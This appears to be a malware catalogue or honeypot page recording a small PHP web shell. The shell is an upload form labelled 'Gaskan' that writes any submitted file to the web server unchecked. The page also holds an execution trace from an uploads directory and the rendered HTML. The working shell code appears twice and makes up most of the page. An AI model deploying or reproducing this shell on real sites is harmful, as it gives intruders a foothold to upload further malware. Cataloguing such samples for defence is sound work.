Jump to:
Screenshot
Attributes
Files
<form method="post" enctype="multipart/form-data">
<input type="file" name="uk45">
<button>Gaskan</button>
</form>
<?php
if (isset($_FILES['uk45'])) {
file_put_contents($_FILES['uk45']['name'], file_get_contents($_FILES['uk45']['tmp_name']));
if (file_exists("./" . $_FILES['uk45']['name'])) {
echo "Oke !";
} else {
echo "Fail !";
}
}
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 21:29:56.431792]
1 0 1 0.000163 393512
1 3 0 0.000221 396040 {main} 1 /var/www/html/uploads/504.php 0 0
1 3 1 0.000238 396040
0.000264 314224
TRACE END [2023-02-12 21:29:56.431925]
<html><head></head><body><form method="post" enctype="multipart/form-data">
<input type="file" name="uk45">
<button>Gaskan</button>
</form>
</body></html>
<form method="post" enctype="multipart/form-data">
<input type="file" name="uk45">
<button>Gaskan</button>
</form>
<?php
if (isset($_FILES['uk45'])) {
file_put_contents($_FILES['uk45']['name'], file_get_contents($_FILES['uk45']['tmp_name']));
if (file_exists("./".$_FILES['uk45']['name'])) {
echo "Oke !";
} else {
echo "Fail !";
}
}
?>